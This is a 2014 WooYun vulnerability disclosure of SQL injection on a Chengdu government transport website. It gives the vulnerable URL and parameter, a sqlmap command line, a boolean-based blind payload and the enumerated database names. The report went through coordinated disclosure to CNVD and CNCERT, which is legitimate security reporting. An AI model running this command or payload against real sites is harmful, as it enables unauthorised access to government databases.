当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070574

漏洞标题:成都市某GOV sql注入一枚。

相关厂商:成都市

漏洞作者: Crotch

提交时间:2014-08-01 12:58

修复时间:2014-09-15 13:00

公开时间:2014-09-15 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-15: 细节向公众公开

简要描述:

成都市某GOV sql注入一枚。 -.- ~ jsp+mysql.

详细说明:

某GOV jsp+mysql 注入一枚 。

漏洞证明:

测试注入点:http://www.cdjt.gov.cn/list.jsp?type=1&bigClass
ID=9002375389145551836

D:\pyhton27\sqlmap>sqlmap.py -u "http://www.cdjt.gov.cn/list.jsp?type=1&bigClass
ID=9002375389145551836" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 11:29:03
[11:29:03] [INFO] resuming back-end DBMS 'sybase'
[11:29:03] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: bigClassID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1&bigClassID=9002375389145551836' AND 3544=3544 AND 'MKDs'='MK
Ds
---
[11:29:03] [INFO] testing Sybase
[11:29:03] [INFO] confirming Sybase
[11:29:03] [INFO] the back-end DBMS is Sybase
web application technology: JSP
back-end DBMS: Sybase
[11:29:03] [INFO] fetching database names
[11:29:03] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:29:03] [INFO] retrieved:
[11:29:04] [WARNING] reflective value(s) found and filtering out
7
[11:29:07] [INFO] fetching number of distinct values for column 'KcDW.name'
[11:29:07] [INFO] retrieved: 7
[11:29:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:29:53] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:29:55] [INFO] using column 'KcDW.name' as a pivot for retrieving row data
[11:29:55] [INFO] retrieved: JTJ
[11:30:10] [INFO] retrieved: Traffic
[11:30:41] [INFO] retrieved: mast
[11:31:23] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:31:46] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:32:09] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
er
[11:33:09] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[11:33:11] [INFO] retrieved: model
[11:33:34] [INFO] retrieved: sybsy
[11:34:17] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
stem
[11:34:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:35:17] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:36:20] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
db
[11:36:30] [INFO] retrieved: sybsys
[11:37:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
tempro
[11:38:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:38:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[11:38:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
cs
[11:39:03] [INFO] retrieved:
[11:39:56] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[11:40:48] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
tempdb
available databases [7]:
[*] JTJ
[*] master
[*] model
[*] sybsystemdb
[*] sybsystemprocs
[*] tempdb
[*] Traffic


妈蛋 ~ 跑得好慢啊... 俺要吃饭。 就上这点证明就行了。 -。- ~

修复方案:

我不晓谍。

版权声明:转载请注明来源 Crotch@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-06 07:54

厂商回复:

cnvd确认并复现所述情况,已经转由cncert下发给四川分中心处置。

最新状态:

暂无